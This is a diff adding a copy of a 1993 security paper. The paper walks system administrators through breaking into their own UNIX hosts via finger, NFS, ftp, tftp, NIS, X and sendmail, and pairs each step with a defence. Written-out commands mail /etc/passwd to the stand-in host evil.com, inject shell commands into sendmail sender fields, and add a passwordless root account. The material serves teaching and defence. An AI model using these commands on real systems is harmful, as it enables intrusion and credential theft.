diff options
Diffstat (limited to '.md/thoughts/txt/textfiles.com/break_into_your_site.txt')
| -rw-r--r-- | .md/thoughts/txt/textfiles.com/break_into_your_site.txt | 1120 |
1 files changed, 1120 insertions, 0 deletions
diff --git a/.md/thoughts/txt/textfiles.com/break_into_your_site.txt b/.md/thoughts/txt/textfiles.com/break_into_your_site.txt new file mode 100644 index 0000000..653e686 --- /dev/null +++ b/.md/thoughts/txt/textfiles.com/break_into_your_site.txt @@ -0,0 +1,1120 @@ + +_Improving the Security of Your Site by Breaking Into it_ + + + Dan Farmer Wietse Venema + + Sun Microsystems Eindhoven University of Technology + 2550 garcia ave MS PAL1-407 P.O. Box 513, 5600 MB + Mountain View CA 94043 Eindhoven, NL + + zen@sun.com wietse@wzv.win.tue.nl + + +Introduction +------------ + +Every day, all over the world, computer networks and hosts are being +broken into. The level of sophistication of these attacks varies +widely; while it is generally believed that most break-ins succeed due +to weak passwords, there are still a large number of intrusions that use +more advanced techniques to break in. Less is known about the latter +types of break-ins, because by their very nature they are much harder to +detect. + +----- + +CERT. SRI. The Nic. NCSC. RSA. NASA. MIT. Uunet. Berkeley. +Purdue. Sun. You name it, we've seen it broken into. Anything that is +on the Internet (and many that isn't) seems to be fairly easy game. Are +these targets unusual? What happened? + +Fade to... + +A young boy, with greasy blonde hair, sitting in a dark room. The room +is illuminated only by the luminescense of the C64's 40 character +screen. Taking another long drag from his Benson and Hedges cigarette, +the weary system cracker telnets to the next faceless ".mil" site on his +hit list. "guest -- guest", "root -- root", and "system -- manager" all +fail. No matter. He has all night... he pencils the host off of his +list, and tiredly types in the next potential victim... + +This seems to be the popular image of a system cracker. Young, +inexperienced, and possessing vast quantities of time to waste, to get +into just one more system. However, there is a far more dangerous type +of system cracker out there. One who knows the ins and outs of the +latest security auditing and cracking tools, who can modify them for +specific attacks, and who can write his/her own programs. One who not +only reads about the latest security holes, but also personally +discovers bugs and vulnerabilities. A deadly creature that can both +strike poisonously and hide its tracks without a whisper or hint of a +trail. The uebercracker is here. + +----- + +Why "uebercracker"? The idea is stolen, obviously, from Nietzsche's +uebermensch, or, literally translated into English, "over man." +Nietzsche used the term not to refer to a comic book superman, but +instead a man who had gone beyond the incompetence, pettiness, and +weakness of the everyday man. The uebercracker is therefore the system +cracker who has gone beyond simple cookbook methods of breaking into +systems. An uebercracker is not usually motivated to perform random +acts of violence. Targets are not arbitrary -- there is a purpose, +whether it be personal monetary gain, a hit and run raid for +information, or a challenge to strike a major or prestigious site or +net.personality. An uebercracker is hard to detect, harder to stop, and +hardest to keep out of your site for good. + +Overview +-------- + +In this paper we will take an unusual approach to system security. +Instead of merely saying that something is a problem, we will look +through the eyes of a potential intruder, and show _why_ it is one. We +will illustrate that even seemingly harmless network services can become +valuable tools in the search for weak points of a system, even when +these services are operating exactly as they are intended to. + +In an effort to shed some light on how more advanced intrusions occur, +this paper outlines various mechanisms that crackers have actually used +to obtain access to systems and, in addition, some techniques we either +suspect intruders of using, or that we have used ourselves in tests or +in friendly/authorized environments. + +Our motivation for writing this paper is that system administrators are +often unaware of the dangers presented by anything beyond the most +trivial attacks. While it is widely known that the proper level of +protection depends on what has to be protected, many sites appear to +lack the resources to assess what level of host and network security is +adequate. By showing what intruders can do to gain access to a remote +site, we are trying to help system administrators to make _informed_ +decisions on how to secure their site -- or not. We will limit the +discussion to techniques that can give a remote intruder access to a +(possibly non-interactive) shell process on a UNIX host. Once this is +achieved, the details of obtaining root privilege are beyond the scope +of this work -- we consider them too site-dependent and, in many cases, +too trivial to merit much discussion. + +We want to stress that we will not merely run down a list of bugs or +security holes -- there will always be new ones for a potential attacker +to exploit. The purpose of this paper is to try to get the reader to +look at her or his system in a new way -- one that will hopefully afford +him or her the opportunity to _understand_ how their system can be +compromised, and how. + +We would also like to reiterate to the reader that the purpose of this +paper is to show you how to test the security of your own site, not how +to break into other people's systems. The intrusion techniques we +illustrate here will often leave traces in your system auditing logs -- +it might be constructive to examine them after trying some of these +attacks out, to see what a real attack might look like. Certainly other +sites and system administrators will take a very dim view of your +activities if you decide to use their hosts for security testing without +advance authorization; indeed, it is quite possible that legal action +may be pursued against you if they perceive it as an attack. + +There are four main parts to the paper. The first part is the +introduction and overview. The second part attempts to give the reader +a feel for what it is like to be an intruder and how to go from knowing +nothing about a system to compromising its security. This section goes +over actual techniques to gain information and entrance and covers basic +strategies such as exploiting trust and abusing improperly configured +basic network services (ftp, mail, tftp, etc.) It also discusses +slightly more advanced topics, such as NIS and NFS, as well as various +common bugs and configuration problems that are somewhat more OS or +system specific. Defensive strategies against each of the various +attacks are also covered here. + +The third section deals with trust: how the security of one system +depends on the integrity of other systems. Trust is the most complex +subject in this paper, and for the sake of brevity we will limit the +discussion to clients in disguise. + +The fourth section covers the basic steps that a system administrator +may take to protect her or his system. Most of the methods presented +here are merely common sense, but they are often ignored in practice -- +one of our goals is to show just how dangerous it can be to ignore basic +security practices. + +Case studies, pointers to security-related information, and software are +described in the appendices at the end of the paper. + +While exploring the methods and strategies discussed in this paper we we +wrote SATAN (Security Analysis Tool for Auditing Networks.) Written in +shell, perl, expect and C, it examines a remote host or set of hosts and +gathers as much information as possible by remotely probing NIS, finger, +NFS, ftp and tftp, rexd, and other services. This information includes +the presence of various network information services as well as +potential security flaws -- usually in the form of incorrectly setup or +configured network services, well-known bugs in system or network +utilities, or poor or ignorant policy decisions. It then can either +report on this data or use an expert system to further investigate any +potential security problems. While SATAN doesn't use all of the methods +that we discuss in the paper, it has succeeded with ominous regularity +in finding serious holes in the security of Internet sites. It will be +posted and made available via anonymous ftp when completed; Appendix A +covers its salient features. + +Note that it isn't possible to cover all possible methods of breaking +into systems in a single paper. Indeed, we won't cover two of the most +effective methods of breaking into hosts: social engineering and +password cracking. The latter method is so effective, however, that +several of the strategies presented here are geared towards acquiring +password files. In addition, while windowing systems (X, OpenWindows, +etc.) can provide a fertile ground for exploitation, we simply don't +know many methods that are used to break into remote systems. Many +system crackers use non-bitmapped terminals which can prevent them from +using some of the more interesting methods to exploit windowing systems +effectively (although being able to monitor the victim's keyboard is +often sufficient to capture passwords). Finally, while worms, viruses, +trojan horses, and other malware are very interesting, they are not +common (on UNIX systems) and probably will use similar techniques to the +ones we describe in this paper as individual parts to their attack +strategy. + +Gaining Information +------------------- + +Let us assume that you are the head system administrator of Victim +Incorporated's network of UNIX workstations. In an effort to secure +your machines, you ask a friendly system administrator from a nearby +site (evil.com) to give you an account on one of her machines so that +you can look at your own system's security from the outside. + +What should you do? First, try to gather information about your +(target) host. There is a wealth of network services to look at: +finger, showmount, and rpcinfo are good starting points. But don't stop +there -- you should also utilize DNS, whois, sendmail (smtp), ftp, uucp, +and as many other services as you can find. There are so many methods +and techniques that space precludes us from showing all of them, but we +will try to show a cross-section of the most common and/or dangerous +strategies that we have seen or have thought of. Ideally, you would +gather such information about all hosts on the subnet or area of attack +-- information is power -- but for now we'll examine only our intended +target. + +To start out, you look at what the ubiquitous finger command shows you +(assume it is 6pm, Nov 6, 1993): + + victim % finger @victim.com + [victim.com] + Login Name TTY Idle When Where + zen Dr. Fubar co 1d Wed 08:00 death.com + +Good! A single idle user -- it is likely that no one will notice if you +actually manage to break in. + +Now you try more tactics. As every finger devotee knows, fingering "@", +"0", and "", as well as common names, such as root, bin, ftp, system, +guest, demo, manager, etc., can reveal interesting information. What +that information is depends on the version of finger that your target is +running, but the most notable are account names, along with their home +directories and the host that they last logged in from. + +To add to this information, you can use rusers (in particular with the +-l flag) to get useful information on logged-in users. + +Trying these commands on victim.com reveals the following information, +presented in a compressed tabular form to save space: + + Login Home-dir Shell Last login, from where + ----- -------- ----- ---------------------- + root / /bin/sh Fri Nov 5 07:42 on ttyp1 from big.victim.com + bin /bin Never logged in + nobody / Tue Jun 15 08:57 on ttyp2 from server.victim.co + daemon / Tue Mar 23 12:14 on ttyp0 from big.victim.com + sync / /bin/sync Tue Mar 23 12:14 on ttyp0 from big.victim.com + zen /home/zen /bin/bash On since Wed Nov 6 on ttyp3 from death.com + sam /home/sam /bin/csh Wed Nov 5 05:33 on ttyp3 from evil.com + guest /export/foo /bin/sh Never logged in + ftp /home/ftp Never logged in + +Both our experiments with SATAN and watching system crackers at work +have proved to us that finger is one of the most dangerous services, +because it is so useful for investigating a potential target. However, +much of this information is useful only when used in conjunction with +other data. + +For instance, running showmount on your target reveals: + + evil % showmount -e victim.com + export list for victim.com: + /export (everyone) + /var (everyone) + /usr easy + /export/exec/kvm/sun4c.sunos.4.1.3 easy + /export/root/easy easy + /export/swap/easy easy + +Note that /export/foo is exported to the world; also note that this is +user guest's home directory. Time for your first break-in! In this +case, you'll mount the home directory of user "guest." Since you don't +have a corresponding account on the local machine and since root cannot +modify files on an NFS mounted filesystem, you create a "guest" account +in your local password file. As user guest you can put an .rhosts entry +in the remote guest home directory, which will allow you to login to the +target machine without having to supply a password. + + evil # mount victim.com:/export/foo /foo + evil # cd /foo + evil # ls -lag + total 3 + 1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 . + 1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 .. + 1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest + evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd + evil # ls -lag + total 3 + 1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 . + 1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 .. + 1 drwx--x--x 9 guest daemon 1024 Aug 3 15:49 guest + evil # su guest + evil % echo evil.com >> guest/.rhosts + evil % rlogin victim.com + Welcome to victim.com! + victim % + +If, instead of home directories, victim.com were exporting filesystems +with user commands (say, /usr or /usr/local/bin), you could replace a +command with a trojan horse that executes any command of your choice. +The next user to execute that command would execute your program. + +We suggest that filesystems be exported: + +o Read/write only to specific, trusted clients. +o Read-only, where possible (data or programs can often be + exported in this manner.) + +If the target has a "+" wildcard in its /etc/hosts.equiv (the default in +various vendor's machines) or has the netgroups bug (CERT advisory +91:12), any non-root user with a login name in the target's password +file can rlogin to the target without a password. And since the user +"bin" often owns key files and directories, your next attack is to try +to log in to the target host and modify the password file to let you +have root access: + + evil % whoami + bin + evil % rsh victim.com csh -i + Warning: no access to tty; thus no job control in this shell... + victim % ls -ldg /etc + drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc + victim % cd /etc + victim % mv passwd pw.old + victim % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd + victim % ^D + evil % rlogin victim.com -l toor + Welcome to victim.com! + victim # + +A few notes about the method used above; "rsh victim.com csh -i" is used +to initially get onto the system because it doesn't leave any traces in +the wtmp or utmp system auditing files, making the rsh invisible for +finger and who. The remote shell isn't attached to a pseudo-terminal, +however, so that screen-oriented programs such as pagers and editors +will fail -- but it is very handy for brief exploration. + +The COPS security auditing tool (see appendix D) will report key files +or directories that are writable to accounts other than the +superuser. If you run SunOS 4.x you can apply patch 100103 to fix most +file permission problems. On many systems, rsh probes as shown above, +even when successful, would remain completely unnoticed; the tcp wrapper +(appendix D), which logs incoming connections, can help to expose such +activities. + +---- + +What now? Have you uncovered all the holes on your target system? Not +by a long shot. Going back to the finger results on your target, you +notice that it has an "ftp" account, which usually means that anonymous +ftp is enabled. Anonymous ftp can be an easy way to get access, as it +is often misconfigured. For example, the target may have a complete +copy of the /etc/passwd file in the anonymous ftp ~ftp/etc directory +instead of a stripped down version. In this example, though, you see +that the latter doesn't seem to be true (how can you tell without +actually examining the file?) However, the home directory of ftp on +victim.com is writable. This allows you to remotely execute a command +-- in this case, mailing the password file back to yourself -- by the +simple method of creating a .forward file that executes a command when +mail is sent to the ftp account. This is the same mechanism of piping +mail to a program that the "vacation" program uses to automatically +reply to mail messages. + + evil % cat forward_sucker_file + "|/bin/mail zen@evil.com < /etc/passwd" + + evil % ftp victim.com + Connected to victim.com + 220 victim FTP server ready. + Name (victim.com:zen): ftp + 331 Guest login ok, send ident as password. + Password: + 230 Guest login ok, access restrictions apply. + ftp> ls -lga + 200 PORT command successful. + 150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes). + total 5 + drwxr-xr-x 4 101 1 512 Jun 20 1991 . + drwxr-xr-x 4 101 1 512 Jun 20 1991 .. + drwxr-xr-x 2 0 1 512 Jun 20 1991 bin + drwxr-xr-x 2 0 1 512 Jun 20 1991 etc + drwxr-xr-x 3 101 1 512 Aug 22 1991 pub + 226 ASCII Transfer complete. + 242 bytes received in 0.066 seconds (3.6 Kbytes/s) + ftp> put forward_sucker_file .forward + 43 bytes sent in 0.0015 seconds (28 Kbytes/s) + ftp> quit + evil % echo test | mail ftp@victim.com + +Now you simply wait for the password file to be sent back to you. + +The security auditing tool COPS will check your anonymous ftp setup; see +the man page for ftpd, the documentation/code for COPS, or CERT advisory +93:10 for information on how to set up anonymous ftp correctly. +Vulnerabilities in ftp are often a matter of incorrect ownership or +permissions of key files or directories. At the very least, make sure +that ~ftp and all "system" directories and files below ~ftp are owned by +root and are not writable by any user. + +While looking at ftp, you can check for an older bug that was once +widely exploited: + + % ftp -n + ftp> open victim.com + Connected to victim.com + 220 victim.com FTP server ready. + ftp> quote user ftp + 331 Guest login ok, send ident as password. + ftp> quote cwd ~root + 530 Please login with USER and PASS. + ftp> quote pass ftp + 230 Guest login ok, access restrictions apply. + ftp> ls -al / (or whatever) + +If this works, you now are logged in as root, and able to modify the +password file, or whatever you desire. If your system exhibits this +bug, you should definitely get an update to your ftpd daemon, either +from your vendor or (via anon ftp) from ftp.uu.net. + +The wuarchive ftpd, a popular replacement ftp daemon put out by the +Washington University in Saint Louis, had almost the same problem. If +your wuarchive ftpd pre-dates April 8, 1993, you should replace it by a +more recent version. + +Finally, there is a program vaguely similar to ftp -- tftp, or the +trivial file transfer program. This daemon doesn't require any password +for authentication; if a host provides tftp without restricting the +access (usually via some secure flag set in the inetd.conf file), an +attacker can read and write files anywhere on the system. In the +example, you get the remote password file and place it in your local +/tmp directory: + + evil % tftp + tftp> connect victim.com + tftp> get /etc/passwd /tmp/passwd.victim + tftp> quit + +For security's sake, tftp should not be run; if tftp is necessary, use +the secure option/flag to restrict access to a directory that has no +valuable information, or run it under the control of a chroot wrapper +program. + +---- + +If none of the previous methods have worked, it is time to go on to more +drastic measures. You have a friend in rpcinfo, another very handy +program, sometimes even more useful than finger. Many hosts run RPC +services that can be exploited; rpcinfo can talk to the portmapper and +show you the way. It can tell you if the host is running NIS, if it is +a NIS server or slave, if a diskless workstation is around, if it is +running NFS, any of the info services (rusersd, rstatd, etc.), or any +other unusual programs (auditing or security related). For instance, +going back to our sample target: + + evil % rpcinfo -p victim.com [output trimmed for brevity's sake] + program vers proto port + 100004 2 tcp 673 ypserv + 100005 1 udp 721 mountd + 100003 2 udp 2049 nfs + 100026 1 udp 733 bootparam + 100017 1 tcp 1274 rexd + +In this case, you can see several significant facts about our target; +first of which is that it is an NIS server. It is perhaps not widely +known, but once you know the NIS domainname of a server, you can get any +of its NIS maps by a simple rpc query, even when you are outside the +subnet served by the NIS server (for example, using the YPX program that +can be found in the comp.sources.misc archives on ftp.uu.net). In +addition, very much like easily guessed passwords, many systems use +easily guessed NIS domainnames. Trying to guess the NIS domainname is +often very fruitful. Good candidates are the fully and partially +qualified hostname (e.g. "victim" and "victim.com"), the organization +name, netgroup names in "showmount" output, and so on. If you wanted to +guess that the domainname was "victim", you could type: + + evil % ypwhich -d victim victim.com + Domain victim not bound. + +This was an unsuccessful attempt; if you had guessed correctly it would +have returned with the host name of victim.com's NIS server. However, +note from the NFS section that victim.com is exporting the "/var" +directory to the world. All that is needed is to mount this directory +and look in the "yp" subdirectory -- among other things you will see +another subdirectory that contains the domainname of the target. + + evil # mount victim.com:/var /foo + evil # cd /foo + evil # /bin/ls -alg /foo/yp + total 17 + 1 drwxr-sr-x 4 root staff 512 Jul 12 14:22 . + 1 drwxr-sr-x 11 root staff 512 Jun 29 10:54 .. + 11 -rwxr-xr-x 1 root staff 10993 Apr 22 11:56 Makefile + 1 drwxr-sr-x 2 root staff 512 Apr 22 11:20 binding + 2 drwxr-sr-x 2 root staff 1536 Jul 12 14:22 foo_bar + [...] + +In this case, "foo_bar" is the NIS domain name. + +In addition, the NIS maps often contain a good list of user/employee +names as well as internal host lists, not to mention passwords for +cracking. + +Appendix C details the results of a case study on NIS password files. + +---- + +You note that the rpcinfo output also showed that victim.com runs rexd. +Like the rsh daemon, rexd processes requests of the form "please execute +this command as that user". Unlike rshd, however, rexd does not care if +the client host is in the hosts.equiv or .rhost files. Normally the rexd +client program is the "on" command, but it only takes a short C program +to send arbitrary client host and userid information to the rexd server; +rexd will happily execute the command. For these reasons, running rexd +is similar to having no passwords at all: all security is in the client, +not in the server where it should be. Rexd security can be improved +somewhat by using secure RPC. + +---- + +While looking at the output from rpcinfo, you observe that victim.com +also seems to be a server for diskless workstations. This is evidenced +by the presence of the bootparam service, which provides information to +the diskless clients for booting. If you ask nicely, using +BOOTPARAMPROC_WHOAMI and provide the address of a client, you can get +its NIS domainname. This can be very useful when combined with the fact +that you can get arbitrary NIS maps (such as the password file) when you +know the NIS domainname. Here is a sample code snippet to do just that +(bootparam is part of SATAN.) + + char *server; + struct bp_whoami_arg arg; /* query */ + struct bp_whoami_res res; /* reply */ + + /* initializations omitted... */ + + callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI, + xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res); + + printf("%s has nisdomain %s\n", server, res.domain_name); + +The showmount output indicated that "easy" is a diskless client of +victim.com, so we use its client address in the BOOTPARAMPROC_WHOAMI +query: + + evil % bootparam victim.com easy.victim.com + victim.com has nisdomain foo_bar + +---- + +NIS masters control the mail aliases for the NIS domain in question. +Just like local mail alias files, you can create a mail alias that will +execute commands when mail is sent to it (a once popular example of this +is the "decode" alias which uudecodes mail files sent to it.) For +instance, here you create an alias "foo", which mails the password file +back to evil.com by simply mailing any message to it: + + nis-master # echo 'foo: "| mail zen@evil.com < /etc/passwd "' >> /etc/aliases + nis-master # cd /var/yp + nis-master # make aliases + nis-master # echo test | mail -v foo@victim.com + +Hopefully attackers won't have control of your NIS master host, but even +more hopefully the lesson is clear -- NIS is normally insecure, but if +an attacker has control of your NIS master, then s/he effectively has +control of the client hosts (e.g. can execute arbitrary commands). + +There aren't many effective defenses against NIS attacks; it is an +insecure service that has almost no authentication between clients and +servers. To make things worse, it seems fairly clear that arbitrary +maps can be forced onto even master servers (e.g., it is possible to +treat an NIS server as a client). This, obviously, would subvert the +entire schema. If it is absolutely necessary to use NIS, choosing a +hard to guess domainname can help slightly, but if you run diskless +clients that are exposed to potential attackers then it is trivial for +an attacker to defeat this simple step by using the bootparam trick to +get the domainname. If NIS is used to propagate the password maps, then +shadow passwords do not give additional protection because the shadow +map is still accessible to any attacker that has root on an attacking +host. Better is to use NIS as little as possible, or to at least +realize that the maps can be subject to perusal by potentially hostile +forces. + +Secure RPC goes a long way to diminish the threat, but it has its own +problems, primarily in that it is difficult to administer, but also in +that the cryptographic methods used within are not very strong. It has +been rumored that NIS+, Sun's new network information service, fixes +some of these problems, but until now it has been limited to running on +Suns, and thus far has not lived up to the promise of the design. +Finally, using packet filtering (at the very least port 111) or +securelib (see appendix D), or, for Suns, applying Sun patch 100482-02 +all can help. + +---- + +The portmapper only knows about RPC services. Other network services +can be located with a brute-force method that connects to all network +ports. Many network utilities and windowing systems listen to specific +ports (e.g. sendmail is on port 25, telnet is on port 23, X windows is +usually on port 6000, etc.) SATAN includes a program that scans the +ports of a remote hosts and reports on its findings; if you run it +against our target, you see: + + evil % tcpmap victim.com + Mapping 128.128.128.1 + port 21: ftp + port 23: telnet + port 25: smtp + port 37: time + port 79: finger + port 512: exec + port 513: login + port 514: shell + port 515: printer + port 6000: (X) + +This suggests that victim.com is running X windows. If not protected +properly (via the magic cookie or xhost mechanisms), window displays can +be captured or watched, user keystrokes may be stolen, programs executed +remotely, etc. Also, if the target is running X and accepts a telnet to +port 6000, that can be used for a denial of service attack, as the +target's windowing system will often "freeze up" for a short period of +time. One method to determine the vulnerability of an X server is to +connect to it via the XOpenDisplay() function; if the function returns +NULL then you cannot access the victim's display (opendisplay is part of +SATAN): + + char *hostname; + + if (XOpenDisplay(hostname) == NULL) { + printf("Cannot open display: %s\n", hostname); + } else { + printf("Can open display: %s\n", hostname); + } + + evil % opendisplay victim.com:0 + Cannot open display: victim.com:0 + +X terminals, though much less powerful than a complete UNIX system, can +have their own security problems. Many X terminals permit unrestricted +rsh access, allowing you to start X client programs in the victim's +terminal with the output appearing on your own screen: + + evil % xhost +xvictim.victim.com + evil % rsh xvictim.victim.com telnet victim.com -display evil.com + +In any case, give as much thought to your window security as your +filesystem and network utilities, for it can compromise your system as +surely as a "+" in your hosts.equiv or a passwordless (root) account. + +---- + +Next, you examine sendmail. Sendmail is a very complex program that has +a long history of security problems, including the infamous "wiz" +command (hopefully long since disabled on all machines). You can often +determine the OS, sometimes down to the version number, of the target, +by looking at the version number returned by sendmail. This, in turn, +can give you hints as to how vulnerable it might be to any of the +numerous bugs. In addition, you can see if they run the "decode" alias, +which has its own set of problems: + + evil % telnet victim.com 25 + connecting to host victim.com (128.128.128.1.), port 25 + connection open + 220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT + expn decode + 250 <"|/usr/bin/uudecode"> + quit + +Running the "decode" alias is a security risk -- it allows potential +attackers to overwrite any file that is writable by the owner of that +alias -- often daemon, but potentially any user. Consider this piece of +mail -- this will place "evil.com" in user zen's .rhosts file if it is +writable: + + evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail decode@victim.com + +If no home directories are known or writable, an interesting variation +of this is to create a bogus /etc/aliases.pag file that contains an +alias with a command you wish to execute on your target. This may work +since on many systems the aliases.pag and aliases.dir files, which +control the system's mail aliases, are writable to the world. + + evil % cat decode + bin: "| cat /etc/passwd | mail zen@evil.com" + evil % newaliases -oQ/tmp -oA`pwd`/decode + evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com + evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null + +A lot of things can be found out by just asking sendmail if an address +is acceptable (vrfy), or what an address expands to (expn). When the +finger or rusers services are turned off, vrfy and expn can still be +used to identify user accounts or targets. Vrfy and expn can also be +used to find out if the user is piping mail through any program that +might be exploited (e.g. vacation, mail sorters, etc.). It can be a +good idea to disable the vrfy and expn commands: in most versions, look +at the source file srvrsmtp.c, and either delete or change the two lines +in the CmdTab structure that have the strings "vrfy" and "expn". Sites +without source can still disable expn and vrfy by just editing the +sendmail executable with a binary editor and replacing "vrfy" and "expn" +with blanks. Acquiring a recent version of sendmail (see Appendix D) is +also an extremely good idea, since there have probably been more +security bugs reported in sendmail than in any other UNIX program. + +---- + +As a sendmail-sendoff, there are two fairly well known bugs that should +be checked into. The first was definitely fixed in version 5.59 from +Berkeley; despite the messages below, for versions of sendmail previous +to 5.59, the "evil.com" gets appended, despite the error messages, along +with all of the typical mail headers, to the file specified: + + % cat evil_sendmail + telnet victim.com 25 << EOSM + rcpt to: /home/zen/.rhosts + mail from: zen + data + random garbage + . + rcpt to: /home/zen/.rhosts + mail from: zen + data + evil.com + . + quit + EOSM + + evil % /bin/sh evil_sendmail + Trying 128.128.128.1 + Connected to victim.com + Escape character is '^]'. + Connection closed by foreign host. + + evil % rlogin victim.com -l zen + Welcome to victim.com! + victim % + +The second hole, fixed only recently, permitted anyone to specify +arbitrary shell commands and/or pathnames for the sender and/or +destination address. Attempts to keep details secret were in vain, and +extensive discussions in mailing lists and usenet news groups led to +disclosure of how to exploit some versions of the bug. As with many +UNIX bugs, nearly every vendor's sendmail was vulnerable to the problem, +since they all share a common source code tree ancestry. Space +precludes us from discussing it fully, but a typical attack to get the +password file might look like this: + + evil % telnet victim.com 25 + Trying 128.128.128.1... + Connected to victim.com + Escape character is '^]'. + 220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04 + mail from: "|/bin/mail zen@evil.com < /etc/passwd" + 250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok + rcpt to: nosuchuser + 550 nosuchuser... User unknown + data + 354 Enter mail, end with "." on a line by itself + . + 250 Mail accepted + quit + Connection closed by foreign host. + evil % + +At the time of writing, version 8.6.4 of sendmail (see Appendix D for +information on how to get this) is reportedly the only variant of +sendmail with all of the recent security bugs fixed. + +Trust +----- + +For our final topic of vulnerability, we'll digress from the practical +strategy we've followed previously to go a bit more into the theoretical +side, and briefly discuss the notion of trust. The issues and +implications of vulnerabilities here are a bit more subtle and +far-reaching than what we've covered before; in the context of this +paper we use the word trust whenever there is a situation when a server +(note that any host that allows remote access can be called a server) +can permit a local resource to be used by a client without password +authentication when password authentication is normally required. In +other words, we arbitrarily limit the discussion to clients in disguise. + +There are many ways that a host can trust: .rhosts and hosts.equiv files +that allow access without password verification; window servers that +allow remote systems to use and abuse privileges; export files that +control access via NFS, and more. + +Nearly all of these rely on client IP address to hostname conversion to +determine whether or not service is to be granted. The simplest method +uses the /etc/hosts file for a direct lookup. However, today most hosts +use either DNS (the Domain Name Service), NIS, or both for name lookup +service. A reverse lookup occurs when a server has an IP address (from +a client host connecting to it) and wishes to get the corresponding +client hostname. + +Although the concept of how host trust works is well understood by most +system administrators, the _dangers_ of trust, and the _practical_ +problem it represents, irrespective of hostname impersonation, is one of +the least understood problems we know of on the Internet. This goes far +beyond the obvious hosts.equiv and rhosts files; NFS, NIS, windowing +systems -- indeed, much of the useful services in UNIX are based on the +concept that well known (to an administrator or user) sites are trusted +in some way. What is not understood is how networking so tightly binds +security between what are normally considered disjoint hosts. + +Any form of trust can be spoofed, fooled, or subverted, especially when +the authority that gets queried to check the credentials of the client +is either outside of the server's administrative domain, or when the +trust mechanism is based on something that has a weak form of +authentication; both are usually the case. + +Obviously, if the host containing the database (either NIS, DNS, or +whatever) has been compromised, the intruder can convince the target +host that s/he is coming from any trusted host; it is now sufficient to +find out which hosts are trusted by the target. This task is often +greatly helped by examining where system administrators and system +accounts (such as root, etc.) last logged in from. Going back to our +target, victim.com, you note that root and some other system accounts +logged in from big.victim.com. You change the PTR record for evil.com so +that when you attempt to rlogin in from evil.com to victim.com, +victim.com will attempt to look up your hostname and will find what you +placed in the record. If the record in the DNS database looks like: + + 1.192.192.192.in-addr.arpa IN PTR evil.com + +And you change it to: + + 1.192.192.192.in-addr.arpa IN PTR big.victim.com + +then, depending on how naive victim.com's system software is, victim.com +will believe the login comes from big.victim.com, and, assuming that +big.victim.com is in the /etc/hosts.equiv or /.rhosts files, you will be +able to login without supplying a password. With NIS, it is a simple +matter of either editing the host database on the NIS master (if this is +controlled by the intruder) or of spoofing or forcing NIS (see +discussion on NIS security above) to supply the target with whatever +information you desire. Although more complex, interesting, and +damaging attacks can be mounted via DNS, time and space don't allow +coverage of these methods here. + +Two methods can be used to prevent such attacks. The first is the most +direct, but perhaps the most impractical. If your site doesn't use any +trust, you won't be as vulnerable to host spoofing. The other strategy +is to use cryptographic protocols. Using the secure RPC protocol (used +in secure NFS, NIS+, etc.) is one method; although it has been "broken" +cryptographically, it still provides better assurance than RPC +authentication schemes that do not use any form of encryption. Other +solutions, both hardware (smartcards) and software (Kerberos), are being +developed, but they are either incomplete or require changes to system +software. + +Appendix B details the results of an informal survey taken from a +variety of hosts on the Internet. + +Protecting the system +--------------------- + +It is our hope that we have demonstrated that even some of the most +seemingly innocuous services run can offer (sometimes unexpectedly) +ammunition to determined system crackers. But, of course, if security +were all that mattered, computers would never be turned on, let alone +hooked into a network with literally millions of potential intruders. +Rather than reiterating specific advice on what to switch on or off, we +instead offer some general suggestions: + +o If you cannot turn off the finger service, consider installing a +modified finger daemon. It is rarely necessary to reveal a user's home +directory and the source of last login. + +o Don't run NIS unless it's absolutely necessary. Use NFS as little +as possible. + +o Never export NFS filesystems unrestricted to the world. Try to +export file systems read-only where possible. + +o Fortify and protect servers (e.g. hosts that provide a service to +other hosts -- NFS, NIS, DNS, whatever.) Only allow administrative +accounts on these hosts. + +o Examine carefully services offered by inetd and the portmapper. +Eliminate any that aren't explicitly needed. Use Wietse Venema's inetd +wrappers, if for no other reason than to log the sources of connections +to your host. This adds immeasurably to the standard UNIX auditing +features, especially with respect to network attacks. If possible, use +the loghost mechanism of syslog to collect security-related information +on a secure host. + +o Eliminate trust unless there is an absolute need for it. Trust is +your enemy. + +o Use shadow passwords and a passwd command that disallows poor +passwords. Disable or delete unused/dormant system or user accounts. + +o Keep abreast of current literature (see our suggested reading list and +bibliography at the end of this paper) and security tools; communicate +to others about security problems and incidents. At minimum, subscribe +to the CERT mailing list and phrack magazine (plus the firewalls mailing +list, if your site is using or thinking about installing a firewall) and +read the usenet security newsgroups to get the latest information on +security problems. Ignorance is the deadliest security problem we are +aware of. + +o Install all vendor security patches as soon as possible, on all of +your hosts. Examine security patch information for other vendors - many +bugs (rdist, sendmail) are common to many UNIX variants. + +It is interesting to note that common solutions to security problems +such as running Kerberos or using one-time passwords or digital tokens +are ineffective against most of the attacks we discuss here. We +heartily recommend the use of such systems, but be aware that they are +_not_ a total security solution -- they are part of a larger struggle to +defend your system. + +Conclusions +----------- + +Perhaps none of the methods shown here are surprising; when writing this +paper, we didn't learn very much about how to break into systems. What +we _did_ learn was, while testing these methods out on our own systems +and that of friendly sites, just how effective this set of methods is +for gaining access to a typical (UNIX) Internet host. Tiring of trying +to type these in all by hand, and desiring to keep our own systems more +secure, we decided to implement a security tool (SATAN) that attempts to +check remote hosts for at least some of the problems discussed here. +The typical response, when telling people about our paper and our tool +was something on the order of "that sounds pretty dangerous -- I hope +you're not going to give it out to everybody. But you since you can +trust me, may I have a copy of it?" + +We never set out to create a cookbook or toolkit of methods and programs +on how to break into systems -- instead, we saw that these same methods 